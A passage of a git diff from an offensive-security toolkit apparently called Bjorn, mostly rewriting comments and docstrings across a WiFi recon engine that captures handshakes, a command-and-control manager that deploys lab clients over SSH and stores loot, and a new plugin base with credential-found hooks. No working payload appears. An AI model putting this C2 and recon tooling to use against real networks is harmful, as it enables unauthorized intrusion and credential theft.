tuple(int(x) for x in v.split('.')) + except (ValueError, AttributeError): + return (0,) + + if _version_tuple(remote_version) > _version_tuple(current_version): logger.info(f"New model available: {remote_version} (Local: {current_version})") # Download config (stream to avoid loading the whole file into RAM) @@ -625,7 +612,7 @@ class BjornAIEngine: def _get_temporal_context(self, mac: str) -> Dict: """ Collect real temporal features for a MAC from DB. - same_action_attempts / is_retry are action-specific — they are NOT + same_action_attempts / is_retry are action-specific - they are NOT included here; instead they are merged from _get_action_context() inside the per-action loop in _predict_with_model(). """ @@ -930,9 +917,14 @@ class BjornAIEngine: best_action = max(action_scores, key=action_scores.get) best_score = action_scores[best_action] - # Normalize score to 0-1 - if best_score > 0: - best_score = min(best_score / 1.0, 1.0) + # Normalize score to 0-1 range + # Static heuristic scores can exceed 1.0 when multiple port/service + # rules match, so we normalize by the maximum observed score. + if best_score > 1.0: + all_vals = action_scores.values() + max_val = max(all_vals) if all_vals else 1.0 + best_score = best_score / max_val if max_val > 0 else 1.0 + best_score = min(best_score, 1.0) debug_info = { 'method': 'heuristics_bootstrap' if bootstrap_used else 'heuristics', diff --git a/ai_utils.py b/ai_utils.py index ac77984..00a9059 100644 --- a/ai_utils.py +++ b/ai_utils.py @@ -1,6 +1,4 @@ -""" -ai_utils.py - Shared AI utilities for Bjorn -""" +"""ai_utils.py - Shared feature extraction and encoding helpers for the AI engine.""" import json import numpy as np diff --git a/bifrost/__init__.py b/bifrost/__init__.py index 07ad3ca..37d2aac 100644 --- a/bifrost/__init__.py +++ b/bifrost/__init__.py @@ -1,5 +1,5 @@ -""" -Bifrost — Pwnagotchi-compatible WiFi recon engine for Bjorn. +"""__init__.py - Bifrost, pwnagotchi-compatible WiFi recon engine for Bjorn. + Runs as a daemon thread alongside MANUAL/AUTO/AI modes. """ import os @@ -42,7 +42,7 @@ class BifrostEngine: # Wait for any previous thread to finish before re-starting if self._thread and self._thread.is_alive(): - logger.warning("Previous Bifrost thread still running — waiting ...") + logger.warning("Previous Bifrost thread still running - waiting ...") self._stop_event.set() self._thread.join(timeout=15) @@ -82,7 +82,7 @@ class BifrostEngine: logger.info("Bifrost engine stopped") def _loop(self): - """Main daemon loop — setup monitor mode, start bettercap, create agent, run recon cycle.""" + """Main daemon loop - setup monitor mode, start bettercap, create agent, run recon cycle.""" try: # Install compatibility shim for pwnagotchi plugins from bifrost import plugins as bfplugins @@ -94,15 +94,15 @@ class BifrostEngine: if self._monitor_failed: logger.error( - "Monitor mode setup failed — Bifrost cannot operate without monitor " + "Monitor mode setup failed - Bifrost cannot operate without monitor " "mode. For Broadcom chips (Pi Zero W/2W), install nexmon: " - "https://github.com/seemoo-lab/nexmon — " + "https://github.com/seemoo-lab/nexmon - " "Or use an external USB WiFi adapter with monitor mode support.") # Teardown first (restores network services) BEFORE switching mode, # so the orchestrator doesn't start scanning on a dead network. self._teardown_monitor_mode() self._running = False - # Now switch mode back to AUTO — the network should be restored. + # Now switch mode back to AUTO - the network should be restored. # We set the flag directly FIRST (bypass setter to avoid re-stopping), # then ensure manual_mode/ai_mode are cleared so getter returns AUTO. try: @@ -112,7 +112,7 @@ class BifrostEngine: self.shared_data.manual_mode = False self.shared_data.ai_mode = False self.shared_data.invalidate_config_cache() - logger.info("Bifrost auto-disabled due to monitor mode failure — mode: AUTO") + logger.info("Bifrost auto-disabled due to monitor mode failure - mode: AUTO") except Exception: pass return @@ -133,7 +133,7 @@ class BifrostEngine: # Initialize agent self.agent.start() - logger.info("Bifrost agent started — entering recon cycle") + logger.info("Bifrost agent started - entering recon cycle") # Main recon loop (port of do_auto_mode from pwnagotchi) while not self._stop_event.is_set(): @@ -208,7 +208,7 @@ class BifrostEngine: return True except Exception: pass - # nexutil exists — assume usable even without dmesg confirmation + # nexutil exists - assume usable even without dmesg confirmation return True @staticmethod @@ -239,10 +239,10 @@ class BifrostEngine: """Put the WiFi interface into monitor mode. Strategy order: - 1. Nexmon — for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W) + 1. Nexmon - for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W) Uses: iw phy interface add mon0 type monitor + nexutil -m2 - 2. airmon-ng — for chipsets with proper driver support (Atheros, Realtek, etc.) - 3. iw — direct fallback for other drivers + 2. airmon-ng - for chipsets with proper driver support (Atheros, Realtek, etc.) + 3. iw - direct fallback for other drivers """ self._monitor_torn_down = False self._nexmon_used = False @@ -270,7 +270,7 @@ class BifrostEngine: if self._has_nexmon(): if self._setup_nexmon(base_iface, cfg): return - # nexmon setup failed — don't try other strategies, they won't work either + # nexmon setup failed - don't try other strategies, they won't work either self._monitor_failed = True return else: @@ -410,7 +410,7 @@ class BifrostEngine: logger.error("Monitor interface %s not created", mon_iface) return False - # Success — update config to use mon0 + # Success - update config to use mon0 cfg['bifrost_iface'] = mon_iface self._mon_iface = mon_iface self._nexmon_used = True diff --git a/bifrost/agent.py b/bifrost/agent.py index 0adbb33..f126194 100644 --- a/bifrost/agent.py +++ b/bifrost/agent.py @@ -1,5 +1,5 @@ -""" -Bifrost — WiFi recon agent. +"""agent.py - Bifrost WiFi recon agent. + Ported from pwnagotchi/agent.py using composition instead of inheritance. """ import time @@ -22,7 +22,7 @@ logger = Logger(name="bifrost.agent", level=logging.DEBUG) class BifrostAgent: - """WiFi recon agent — drives bettercap, captures handshakes, tracks epochs.""" + """WiFi recon agent - drives bettercap, captures handshakes, tracks epochs.""" def __init__(self, shared_data, stop_event=None): self.shared_data = shared_data @@ -170,7 +170,7 @@ class BifrostAgent: err_msg = str(e) if 'Operation not supported' in err_msg or 'EOPNOTSUPP' in err_msg: logger.error( - "wifi.recon failed: %s — Your WiFi chip likely does NOT support " + "wifi.recon failed: %s - Your WiFi chip likely does NOT support " "monitor mode. The built-in Broadcom chip on Raspberry Pi Zero/Zero 2 " "has limited monitor mode support. Use an external USB WiFi adapter " "(e.g. Alfa AWUS036ACH, Panda PAU09) that supports monitor mode and " @@ -362,7 +362,7 @@ class BifrostAgent: logger.error("Error setting channel: %s", e) def next_epoch(self): - """Transition to next epoch — evaluate mood.""" + """Transition to next epoch - evaluate mood.""" self.automata.next_epoch(self.epoch) # Persist epoch to DB data = self.epoch.data() @@ -393,7 +393,7 @@ class BifrostAgent: has_ws = True except ImportError: has_ws = False - logger.warning("websockets package not installed — using REST event polling " + logger.warning("websockets package not installed - using REST event polling " "(pip install websockets for real-time events)") if has_ws: @@ -417,7 +417,7 @@ class BifrostAgent: loop.close() def _rest_event_loop(self): - """REST-based fallback event poller — polls /api/events every 2s.""" + """REST-based fallback event poller - polls /api/events every 2s.""" while not self._stop_event.is_set(): try: events = self.bettercap.events() diff --git a/bifrost/automata.py b/bifrost/automata.py index decd4e1..e69ff88 100644 --- a/bifrost/automata.py +++ b/bifrost/automata.py @@ -1,5 +1,5 @@ -""" -Bifrost — Mood state machine. +"""automata.py - Bifrost mood state machine. + Ported from pwnagotchi/automata.py. """ import logging diff --git a/bifrost/bettercap.py b/bifrost/bettercap.py index 854637c..6a97cb9 100644 --- a/bifrost/bettercap.py +++ b/bifrost/bettercap.py @@ -1,5 +1,5 @@ -""" -Bifrost — Bettercap REST API client. +"""bettercap.py - Bifrost bettercap REST API client. + Ported from pwnagotchi/bettercap.py using urllib (no requests dependency). """ import json @@ -54,16 +54,16 @@ class BettercapClient: raise Exception("bettercap unreachable: %s" % e.reason) def session(self): - """GET /api/session — current bettercap state.""" + """GET /api/session - current bettercap state.""" return self._request('GET', '/session') def run(self, command, verbose_errors=True): - """POST /api/session — execute a bettercap command.""" + """POST /api/session - execute a bettercap command.""" return self._request('POST', '/session', {'cmd': command}, verbose_errors=verbose_errors) def events(self): - """GET /api/events — poll recent events (REST fallback).""" + """GET /api/events - poll recent events (REST fallback).""" try: result = self._request('GET', '/events', verbose_errors=False) # Clear after reading so we don't reprocess @@ -80,7 +80,7 @@ class BettercapClient: Args: consumer: async callable that receives each message string. - stop_event: optional threading.Event — exit when set. + stop_event: optional threading.Event - exit when set. """ import websockets import asyncio @@ -99,5 +99,5 @@ class BettercapClient: except Exception as ex: if stop_event and stop_event.is_set(): return - logger.debug("Websocket error: %s — reconnecting...", ex) + logger.debug("Websocket error: %s - reconnecting...", ex) await asyncio.sleep(2) diff --git a/bifrost/compat.py b/bifrost/compat.py index a319997..9b4bb53 100644 --- a/bifrost/compat.py +++ b/bifrost/compat.py @@ -1,7 +1,6 @@ -""" -Bifrost — Pwnagotchi compatibility shim. -Registers `pwnagotchi` in sys.modules so existing plugins can -`import pwnagotchi` and get Bifrost-backed implementations. +"""compat.py - Pwnagotchi compatibility shim. + +Registers `pwnagotchi` in sys.modules so existing plugins resolve to Bifrost. """ import sys import time @@ -56,7 +55,7 @@ def install_shim(shared_data, bifrost_plugins_module): return 0.0 def _reboot(): - pass # no-op in Bifrost — we don't auto-reboot + pass # no-op in Bifrost - we don't auto-reboot pwn.name = _name pwn.set_name = _set_name diff --git a/bifrost/epoch.py b/bifrost/epoch.py index f0e3cba..defd594 100644 --- a/bifrost/epoch.py +++ b/bifrost/epoch.py @@ -1,5 +1,5 @@ -""" -Bifrost — Epoch tracking. +"""epoch.py - Bifrost epoch tracking and reward signals. + Ported from pwnagotchi/ai/epoch.py + pwnagotchi/ai/reward.py. """ import time @@ -17,7 +17,7 @@ NUM_CHANNELS = 14 # 2.4 GHz channels # ── Reward function (from pwnagotchi/ai/reward.py) ────────────── class RewardFunction: - """Reward signal for RL — higher is better.""" + """Reward signal for RL - higher is better.""" def __call__(self, epoch_n, state): eps = 1e-20 @@ -181,7 +181,7 @@ class BifrostEpoch: self.num_slept += inc def next(self): - """Transition to next epoch — compute reward, update streaks, reset counters.""" + """Transition to next epoch - compute reward, update streaks, reset counters.""" # Update activity streaks if not self.any_activity and not self.did_handshakes: self.inactive_for += 1 diff --git a/bifrost/faces.py b/bifrost/faces.py index da73555..8c7e186 100644 --- a/bifrost/faces.py +++ b/bifrost/faces.py @@ -1,5 +1,5 @@ -""" -Bifrost — ASCII face definitions. +"""faces.py - Bifrost ASCII face definitions. + Ported from pwnagotchi/ui/faces.py with full face set. """ diff --git a/bifrost/plugins.py b/bifrost/plugins.py index 3b983b2..c51783e 100644 --- a/bifrost/plugins.py +++ b/bifrost/plugins.py @@ -1,7 +1,6 @@ -""" -Bifrost — Plugin system. +"""plugins.py - Bifrost plugin system. + Ported from pwnagotchi/plugins/__init__.py with ThreadPoolExecutor. -Compatible with existing pwnagotchi plugin files. """ import os import glob @@ -130,7 +129,7 @@ def load_from_path(path, enabled=()): if not path or not os.path.isdir(path): return loaded - logger.debug("loading plugins from %s — enabled: %s", path, enabled) + logger.debug("loading plugins from %s - enabled: %s", path, enabled) for filename in glob.glob(os.path.join(path, "*.py")): plugin_name = os.path.basename(filename.replace(".py", "")) database[plugin_name] = filename diff --git a/bifrost/voice.py b/bifrost/voice.py index db3d371..fd2654b 100644 --- a/bifrost/voice.py +++ b/bifrost/voice.py @@ -1,5 +1,5 @@ -""" -Bifrost — Voice / status messages. +"""voice.py - Bifrost voice / status messages. + Ported from pwnagotchi/voice.py, uses random choice for personality. """ import random diff --git a/bjorn_plugin.py b/bjorn_plugin.py new file mode 100644 index 0000000..89d32b9 --- /dev/null +++ b/bjorn_plugin.py @@ -0,0 +1,156 @@ +"""bjorn_plugin.py - Base class and helpers for Bjorn plugins.""" + +import logging +from typing import Any, Dict, Optional + +from logger import Logger + + +class PluginLogger: + """Per-plugin logger that prefixes all messages with the plugin ID. + Caches Logger instances by name to prevent handler accumulation on reload.""" + + _cache: dict = {} # class-level cache: name -> Logger instance + + def __init__(self, plugin_id: str): + name = f"plugin.{plugin_id}" + if name not in PluginLogger._cache: + PluginLogger._cache[name] = Logger(name=name, level=logging.DEBUG) + self._logger = PluginLogger._cache[name] + + def info(self, msg: str): + self._logger.info(msg) + + def warning(self, msg: str): + self._logger.warning(msg) + + def error(self, msg: str): + self._logger.error(msg) + + def debug(self, msg: str): + self._logger.debug(msg) + + def success(self, msg: str): + self._logger.success(msg) + + +class BjornPlugin: + """ + Base class every Bjorn plugin must extend. + + Provides: + - Access to shared_data, database, and config + - Convenience wrappers for status/progress/comment + - Hook methods to override for event-driven behavior + - Standard action interface (execute) for action-type plugins + + Usage: + class MyPlugin(BjornPlugin): + def setup(self): + self.log.info("Ready!") + + def on_credential_found(self, cred): + self.log.info(f"New cred: {cred}") + """ + + def __init__(self, shared_data, meta: dict, config: dict): + """ + Args: + shared_data: The global SharedData singleton. + meta: Parsed plugin.json manifest. + config: User-editable config values (from DB, merged with schema defaults). + """ + self.shared_data = shared_data + self.meta = meta + self.config = config + self.db = shared_data.db + self.log = PluginLogger(meta.get("id", "unknown")) + self.timeout = (meta.get("action") or {}).get("timeout", 300) + self._plugin_id = meta.get("id", "unknown") + + # ── Convenience wrappers ───────────────────────────────────────── + + def set_progress(self, pct: str): + """Update the global progress indicator (e.g., '42%').""" + self.shared_data.bjorn_progress = pct + + def set_status(self, text: str): + """Update the main status text shown on display and web UI.""" + self.shared_data.bjorn_status_text = text + + def set_comment(self, **params): + """Update the EPD comment parameters.""" + self.shared_data.comment_params = params + + # ── Lifecycle ──────────────────────────────────────────────────── + + def setup(self) -> None: + """Called once when the plugin is loaded. Override to initialize resources.""" + pass + + def teardown(self) -> None: + """Called when the plugin is unloaded or Bjorn shuts down. Override to cleanup.""" + pass + + # ── Action interface (type="action" plugins only) ──────────────── + + def execute(self, ip: str, port: str, row: dict, status_key: str) -> str: + """ + Called by the orchestrator for action-type plugins. + + Args: + ip: Target IP address. + port: Target port (may be empty string). + row: Dict with keys: MAC Address, IPs, Ports, Alive. + status_key: Action class name (for status tracking). + + Returns: + 'success' or 'failed' (string, case-sensitive). + """ + raise NotImplementedError( + f"Plugin {self._plugin_id} is type='action' but does not implement execute()" + ) + + # ── Hook methods (override selectively) ────────────────────────── + + def on_host_discovered(self, host: dict) -> None: + """Hook: called when a new host is found by the scanner. + + Args: + host: Dict with mac_address, ips, hostnames, vendor, etc. + """ + pass + + def on_credential_found(self, cred: dict) -> None: + """Hook: called when new credentials are discovered. + + Args: + cred: Dict with service, mac, ip, user, password, port. + """ + pass + + def on_vulnerability_found(self, vuln: dict) -> None: + """Hook: called when a new vulnerability is found. + + Args: + vuln: Dict with ip, port, cve_id, severity, description. + """ + pass + + def on_action_complete(self, action_name: str, success: bool, target: dict) -> None: + """Hook: called after any action finishes execution. + + Args: + action_name: The b_class of the action that completed. + success: True if action returned 'success'. + target: Dict with mac, ip, port. + """ + pass + + def on_scan_complete(self, results: dict) -> None: + """Hook: called after a network scan cycle finishes. + + Args: + results: Dict with hosts_found, new_hosts, scan_duration, etc. + """ + pass diff --git a/c2_manager.py b/c2_manager.py index a2f77f0..3722fb6 100644 --- a/c2_manager.py +++ b/c2_manager.py @@ -1,8 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -c2_manager.py — Professional Command & Control Server -""" +"""c2_manager.py - Command & Control server for multi-agent coordination over SSH.""" # ==== Stdlib ==== import base64 @@ -28,7 +26,7 @@ import paramiko from cryptography.fernet import Fernet, InvalidToken # ==== Project ==== -from init_shared import shared_data # requis (non optionnel) +from init_shared import shared_data # required from logger import Logger # ----------------------------------------------------- @@ -38,19 +36,15 @@ BASE_DIR = Path(__file__).resolve().parent def _resolve_data_root() -> Path: """ - Résout le répertoire racine des données pour le C2, sans crasher - si shared_data n'a pas encore data_dir prêt. - Ordre de priorité : - 1) shared_data.data_dir si présent - 2) $BJORN_DATA_DIR si défini - 3) BASE_DIR (fallback local) + Resolve C2 data root directory without crashing if shared_data isn't ready. + Priority: shared_data.data_dir > $BJORN_DATA_DIR > BASE_DIR (local fallback) """ sd_dir = getattr(shared_data, "data_dir", None) if sd_dir: try: return Path(sd_dir) except Exception: - pass # garde un fallback propre + pass # clean fallback env_dir = os.getenv("BJORN_DATA_DIR") if env_dir: @@ -63,22 +57,20 @@ def _resolve_data_root() -> Path: DATA_ROOT: Path = _resolve_data_root() -# Sous-dossiers C2 +# C2 subdirectories DATA_DIR: Path = DATA_ROOT / "c2_data" LOOT_DIR: Path = DATA_DIR / "loot" CLIENTS_DIR: Path = DATA_DIR / "clients" LOGS_DIR: Path = DATA_DIR / "logs" # Timings -HEARTBEAT_INTERVAL: int = 20 # secondes +HEARTBEAT_INTERVAL: int = 20 # seconds OFFLINE_THRESHOLD: int = HEARTBEAT_INTERVAL * 3 # 60s sans heartbeat -# Création arborescence (idempotente) — OK à l'import, coût faible +# Create directory tree (idempotent) - safe at import time, low cost for directory in (DATA_DIR, LOOT_DIR, CLIENTS_DIR, LOGS_DIR): directory.mkdir(parents=True, exist_ok=True) -# (Optionnel) Prépare un logger si besoin tout de suite -# logger = Logger("c2_manager").get_logger() @@ -137,7 +129,7 @@ class EventBus: # ============= Client Templates ============= CLIENT_TEMPLATES = { 'universal': Template(r"""#!/usr/bin/env python3 -# Lab client (Zombieland) — use only in controlled environments +# Lab client (Zombieland) - use only in controlled environments import socket, json, os, platform, subprocess, threading, time, base64, struct, sys from pathlib import Path @@ -924,7 +916,7 @@ class C2Manager: lab_user: str = "testuser", lab_password: str = "testpass") -> dict: """Generate new client script""" try: - # Generate Fernet key (base64) and l'enregistrer en DB (rotation si besoin) + # Generate Fernet key (base64) and store in DB (rotate if existing) key_b64 = Fernet.generate_key().decode() if self.db.get_active_key(client_id): self.db.rotate_key(client_id, key_b64) @@ -969,7 +961,7 @@ class C2Manager: ssh_pass: str, **kwargs) -> dict: """Deploy client via SSH""" try: - # S'assurer qu'une clé active existe (sinon générer le client) + # Ensure an active key exists (generate client otherwise) if not self.db.get_active_key(client_id): result = self.generate_client( client_id, @@ -1028,7 +1020,7 @@ class C2Manager: if client_id in self._clients: self._disconnect_client(client_id) - # Révoquer les clés actives en DB + # Revoke active keys in DB try: self.db.revoke_keys(client_id) except Exception as e: @@ -1095,7 +1087,7 @@ class C2Manager: client_id = client_id_bytes.decode().strip() - # Récupérer la clé active depuis la DB + # Retrieve the active key from DB active_key = self.db.get_active_key(client_id) if not active_key: self.logger.warning(f"Unknown client or no active key: {client_id} from {addr[0]}") @@ -1163,7 +1155,7 @@ class C2Manager: break self._process_client_message(client_id, data) except OSError as e: - # socket fermé (remove_client) → on sort sans bruit + # Socket closed (remove_client) - exit silently break except Exception as e: self.logger.error(f"Client loop error for {client_id}: {e}") @@ -1248,13 +1240,13 @@ class C2Manager: self._handle_loot(client_id, data['download']) elif 'result' in data: - # >>> ici on enregistre avec la vraie commande + # Store result with the actual command self.db.save_command(client_id, last_cmd or '', result, True) self.bus.emit({"type": "console", "target": client_id, "text": str(result), "kind": "RX"}) elif 'error' in data: error = data['error'] - # >>> idem pour error + # Same for errors self.db.save_command(client_id, last_cmd or '', error, False) self.bus.emit({"type": "console", "target": client_id, "text": f"ERROR: {error}", "kind": "RX"}) @@ -1308,10 +1300,10 @@ class C2Manager: with self._lock: client = self._clients.get(client_id) if client: - # signale aux boucles de s'arrêter proprement + # Signal loops to stop cleanly client['info']['closing'] = True - # fermer proprement le socket + # Cleanly close the socket try: client['sock'].shutdown(socket.SHUT_RDWR) except Exception: diff --git a/comment.py b/comment.py index 2f04dc1..f35f911 100644 --- a/comment.py +++ b/comment.py @@ -1,8 +1,4 @@ -# comment.py -# Comments manager with database backend -# Provides contextual messages for display with timing control and multilingual support. -# comment = ai.get_comment("SSHBruteforce", params={"user": "pi", "ip": "192.168.0.12"}) -# Avec un texte DB du style: "Trying {user}@{ip} over SSH..." +"""comment.py - Contextual display messages with DB-backed templates and i18n support.""" import os import time @@ -154,35 +150,42 @@ class CommentAI: # --- Bootstrapping DB ----------------------------------------------------- def _ensure_comments_loaded(self): - """Ensure comments are present in DB; import JSON if empty.""" - try: - comment_count = int(self.shared_data.db.count_comments()) - except Exception as e: - logger.error(f"Database error counting comments: {e}") - comment_count = 0 + """Import all comments.*.json files on every startup (dedup via UNIQUE index).""" + import glob as _glob - if comment_count > 0: - logger.debug(f"Comments already in database: {comment_count}") + default_dir = getattr(self.shared_data, "default_comments_dir", "") or "" + if not default_dir or not os.path.isdir(default_dir): + logger.debug("No default_comments_dir, seeding minimal fallback set") + self._seed_minimal_comments() return + # Glob all comments JSON files: comments.en.json, comments.fr.json, etc. + pattern = os.path.join(default_dir, "comments.*.json") + json_files = sorted(_glob.glob(pattern)) + + # Also check for a bare comments.json + bare = os.path.join(default_dir, "comments.json") + if os.path.exists(bare) and bare not in json_files: + json_files.insert(0, bare) + imported = 0 - for lang in self._lang_priority(): - for json_path in self._get_comments_json_paths(lang): - if os.path.exists(json_path): - try: - count = int(self.shared_data.db.import_comments_from_json(json_path)) - imported += count - if count > 0: - logger.info(f"Imported {count} comments (auto-detected lang) from {json_path}") - break # stop at first successful import - except Exception as e: - logger.error(f"Failed to import comments from {json_path}: {e}") - if imported > 0: - break + for json_path in json_files: + try: + count = int(self.shared_data.db.import_comments_from_json(json_path)) + imported += count + if count > 0: + logger.info(f"Imported {count} comments from {json_path}") + except Exception as e: + logger.error(f"Failed to import comments from {json_path}: {e}") if imported == 0: - logger.debug("No comments imported, seeding minimal fallback set") - self._seed_minimal_comments() + # Nothing new imported - check if DB is empty and seed fallback + try: + if int(self.shared_data.db.count_comments()) == 0: + logger.debug("No comments in DB, seeding minimal fallback set") + self._seed_minimal_comments() + except Exception: + self._seed_minimal_comments() def _seed_minimal_comments(self): diff --git a/data_consolidator.py b/data_consolidator.py index e2c1d5f..370efb7 100644 --- a/data_consolidator.py +++ b/data_consolidator.py @@ -1,21 +1,4 @@ -""" -data_consolidator.py - Data Consolidation Engine for Deep Learning -═══════════════════════════════════════════════════════════════════════════ - -Purpose: - Consolidate logged features into training-ready datasets. - Prepare data exports for deep learning on external PC. - -Features: - - Aggregate features across time windows - - Compute statistical features - - Create feature vectors for neural networks - - Export in formats ready for TensorFlow/PyTorch - - Incremental consolidation (low memory footprint) - -Author: Bjorn Team -Version: 2.0.0 -""" +"""data_consolidator.py - Aggregate logged features into training-ready datasets for export.""" import json import csv @@ -195,7 +178,7 @@ class DataConsolidator: Computes statistical features and feature vectors. """ try: - # Parse JSON fields once — reused by _build_feature_vector to avoid double-parsing + # Parse JSON fields once - reused by _build_feature_vector to avoid double-parsing host_features = json.loads(record.get('host_features', '{}')) network_features = json.loads(record.get('network_features', '{}')) temporal_features = json.loads(record.get('temporal_features', '{}')) @@ -209,7 +192,7 @@ class DataConsolidator: **action_features } - # Build numerical feature vector — pass already-parsed dicts to avoid re-parsing + # Build numerical feature vector - pass already-parsed dicts to avoid re-parsing feature_vector = self._build_feature_vector( host_features, network_features, temporal_features, action_features ) @@ -484,7 +467,7 @@ class DataConsolidator: else: raise ValueError(f"Unsupported format: {format}") - # Free the large records list immediately after export — record_ids is all we still need + # Free the large records list immediately after export - record_ids is all we still need del records # AI-01: Write feature manifest with variance-filtered feature names diff --git a/database.py b/database.py index e7d12fc..5e8c7c6 100644 --- a/database.py +++ b/database.py @@ -1,6 +1,4 @@ -# database.py -# Main database facade - delegates to specialized modules in db_utils/ -# Maintains backward compatibility with existing code +"""database.py - Main database facade, delegates to specialized modules in db_utils/.""" import os from typing import Any, Dict, Iterable, List, Optional, Tuple @@ -29,6 +27,9 @@ from db_utils.webenum import WebEnumOps from db_utils.sentinel import SentinelOps from db_utils.bifrost import BifrostOps from db_utils.loki import LokiOps +from db_utils.schedules import ScheduleOps +from db_utils.packages import PackageOps +from db_utils.plugins import PluginOps logger = Logger(name="database.py", level=logging.DEBUG) @@ -67,6 +68,9 @@ class BjornDatabase: self._sentinel = SentinelOps(self._base) self._bifrost = BifrostOps(self._base) self._loki = LokiOps(self._base) + self._schedules = ScheduleOps(self._base) + self._packages = PackageOps(self._base) + self._plugins = PluginOps(self._base) # Ensure schema is created self.ensure_schema() @@ -147,6 +151,9 @@ class BjornDatabase: self._sentinel.create_tables() self._bifrost.create_tables() self._loki.create_tables() + self._schedules.create_tables() + self._packages.create_tables() + self._plugins.create_tables() # Initialize stats singleton self._stats.ensure_stats_initialized() @@ -391,7 +398,44 @@ class BjornDatabase: def delete_script(self, name: str) -> None: return self._scripts.delete_script(name) - + + # Schedule operations + def add_schedule(self, *a, **kw): return self._schedules.add_schedule(*a, **kw) + def update_schedule(self, *a, **kw): return self._schedules.update_schedule(*a, **kw) + def delete_schedule(self, *a, **kw): return self._schedules.delete_schedule(*a, **kw) + def list_schedules(self, *a, **kw): return self._schedules.list_schedules(*a, **kw) + def get_schedule(self, *a, **kw): return self._schedules.get_schedule(*a, **kw) + def get_due_schedules(self): return self._schedules.get_due_schedules() + def mark_schedule_run(self, *a, **kw): return self._schedules.mark_schedule_run(*a, **kw) + def toggle_schedule(self, *a, **kw): return self._schedules.toggle_schedule(*a, **kw) + + # Trigger operations + def add_trigger(self, *a, **kw): return self._schedules.add_trigger(*a, **kw) + def update_trigger(self, *a, **kw): return self._schedules.update_trigger(*a, **kw) + def delete_trigger(self, *a, **kw): return self._schedules.delete_trigger(*a, **kw) + def list_triggers(self, *a, **kw): return self._schedules.list_triggers(*a, **kw) + def get_trigger(self, *a, **kw): return self._schedules.get_trigger(*a, **kw) + def get_active_triggers(self): return self._schedules.get_active_triggers() + def mark_trigger_fired(self, *a, **kw): return self._schedules.mark_trigger_fired(*a, **kw) + def is_trigger_on_cooldown(self, *a, **kw): return self._schedules.is_trigger_on_cooldown(*a, **kw) + + # Package operations + def add_package(self, *a, **kw): return self._packages.add_package(*a, **kw) + def remove_package(self, *a, **kw): return self._packages.remove_package(*a, **kw) + def list_packages(self): return self._packages.list_packages() + def get_package(self, *a, **kw): return self._packages.get_package(*a, **kw) + + # Plugin operations + def get_plugin_config(self, *a, **kw): return self._plugins.get_plugin_config(*a, **kw) + def save_plugin_config(self, *a, **kw): return self._plugins.save_plugin_config(*a, **kw) + def upsert_plugin(self, *a, **kw): return self._plugins.upsert_plugin(*a, **kw) + def delete_plugin(self, *a, **kw): return self._plugins.delete_plugin(*a, **kw) + def list_plugins_db(self): return self._plugins.list_plugins() + def set_plugin_enabled(self, *a, **kw): return self._plugins.set_plugin_enabled(*a, **kw) + def set_plugin_hooks(self, *a, **kw): return self._plugins.set_plugin_hooks(*a, **kw) + def get_hooks_for_event(self, *a, **kw): return self._plugins.get_hooks_for_event(*a, **kw) + def get_hooks_for_plugin(self, *a, **kw): return self._plugins.get_hooks_for_plugin(*a, **kw) + # Stats operations def get_livestats(self) -> Dict[str, int]: return self._stats.get_livestats() diff --git a/db_utils/__init__.py b/db_utils/__init__.py index 474e5c4..4cbe4cb 100644 --- a/db_utils/__init__.py +++ b/db_utils/__init__.py @@ -1,5 +1,4 @@ -# db_utils/__init__.py -# Database utilities package +"""__init__.py - Database utilities package.""" from .base import DatabaseBase from .config import ConfigOps @@ -17,6 +16,8 @@ from .comments import CommentOps from .agents import AgentOps from .studio import StudioOps from .webenum import WebEnumOps +from .schedules import ScheduleOps +from .packages import PackageOps __all__ = [ 'DatabaseBase', @@ -35,4 +36,6 @@ __all__ = [ 'AgentOps', 'StudioOps', 'WebEnumOps', + 'ScheduleOps', + 'PackageOps', ] diff --git a/db_utils/actions.py b/db_utils/actions.py index 19608f2..1dae516 100644 --- a/db_utils/actions.py +++ b/db_utils/actions.py @@ -1,5 +1,4 @@ -# db_utils/actions.py -# Action definition and management operations +"""actions.py - Action definition and management operations.""" import json import sqlite3 @@ -256,7 +255,7 @@ class ActionOps: out = [] for r in rows: cls = r["b_class"] - enabled = int(r["b_enabled"]) # 0 reste 0 + enabled = int(r["b_enabled"]) out.append({ "name": cls, "image": f"/actions/actions_icons/{cls}.png", diff --git a/db_utils/agents.py b/db_utils/agents.py index cdf5dbb..89fa0b5 100644 --- a/db_utils/agents.py +++ b/db_utils/agents.py @@ -1,5 +1,4 @@ -# db_utils/agents.py -# C2 (Command & Control) agent management operations +"""agents.py - C2 agent management operations.""" import json import os diff --git a/db_utils/backups.py b/db_utils/backups.py index abecb1c..35e42e6 100644 --- a/db_utils/backups.py +++ b/db_utils/backups.py @@ -1,5 +1,4 @@ -# db_utils/backups.py -# Backup registry and management operations +"""backups.py - Backup registry and management operations.""" from typing import Any, Dict, List import logging diff --git a/db_utils/base.py b/db_utils/base.py index 3702c13..6398f05 100644 --- a/db_utils/base.py +++ b/db_utils/base.py @@ -1,6 +1,6 @@ -# db_utils/base.py -# Base database connection and transaction management +"""base.py - Base database connection and transaction management.""" +import re import sqlite3 import time from contextlib import contextmanager @@ -12,6 +12,16 @@ from logger import Logger logger = Logger(name="db_utils.base", level=logging.DEBUG) +# Regex for valid SQLite identifiers: alphanumeric + underscore, must start with letter/underscore +_SAFE_IDENT_RE = re.compile(r'^[A-Za-z_][A-Za-z0-9_]*$') + + +def _validate_identifier(name: str, kind: str = "identifier") -> str: + """Validate that a SQL identifier (table/column name) is safe against injection.""" + if not name or not _SAFE_IDENT_RE.match(name): + raise ValueError(f"Invalid SQL {kind}: {name!r}") + return name + class DatabaseBase: """ @@ -120,12 +130,15 @@ class DatabaseBase: def _column_names(self, table: str) -> List[str]: """Return a list of column names for a given table (empty if table missing)""" + _validate_identifier(table, "table name") with self._cursor() as c: c.execute(f"PRAGMA table_info({table});") return [r[1] for r in c.fetchall()] - + def _ensure_column(self, table: str, column: str, ddl: str) -> None: """Add a column with the provided DDL if it does not exist yet""" + _validate_identifier(table, "table name") + _validate_identifier(column, "column name") cols = self._column_names(table) if self._table_exists(table) else [] if column not in cols: self.execute(f"ALTER TABLE {table} ADD COLUMN {ddl};") @@ -134,13 +147,15 @@ class DatabaseBase: # MAINTENANCE OPERATIONS # ========================================================================= + _VALID_CHECKPOINT_MODES = {"PASSIVE", "FULL", "RESTART", "TRUNCATE"} + def checkpoint(self, mode: str = "TRUNCATE") -> 